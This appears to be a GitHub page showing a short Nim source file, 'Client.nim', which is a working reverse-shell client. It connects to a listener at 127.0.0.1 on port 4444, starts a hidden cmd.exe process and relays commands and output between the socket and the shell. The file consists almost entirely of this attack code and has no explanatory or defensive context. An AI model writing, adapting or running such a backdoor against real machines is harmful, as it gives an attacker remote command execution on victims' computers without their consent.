-
Notifications
You must be signed in to change notification settings - Fork 8
/
Client.nim
60 lines (50 loc) · 1.34 KB
/
Client.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#[
Client
]#
import net, streams, osproc, threadpool, os
proc isSocketClosed(sock: Socket): bool =
try:
if sock.getSocketError() == 10054.OSErrorCode:
return true
except:
return false
proc isProcessAlive(p: Process, sock: Socket) {.thread.} =
while p.running:
continue
sock.close()
proc recvMsg(sock: Socket, input: Stream) {.thread.} =
while true:
if sock.isSocketClosed():
return
try:
let cmds: string = sock.recvLine()
echo cmds
input.writeLine(cmds)
input.flush()
except:
return
proc sendMsg(sock: Socket, output: Stream) {.thread.} =
var
o: TaintedString
while true:
if sock.isSocketClosed():
return
try:
o = output.readStr(1)
stdout.write o
sock.send(o)
except:
return
when isMainModule:
let
sock = newSocket()
port = 4444
host = "127.0.0.1"
sock.connect(host, Port(port))
var p = startProcess("cmd.exe", options={poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
var input = p.inputStream()
var output = p.outputStream()
spawn isProcessAlive(p, sock)
spawn sendMsg(sock, output)
spawn recvMsg(sock, input)
sync()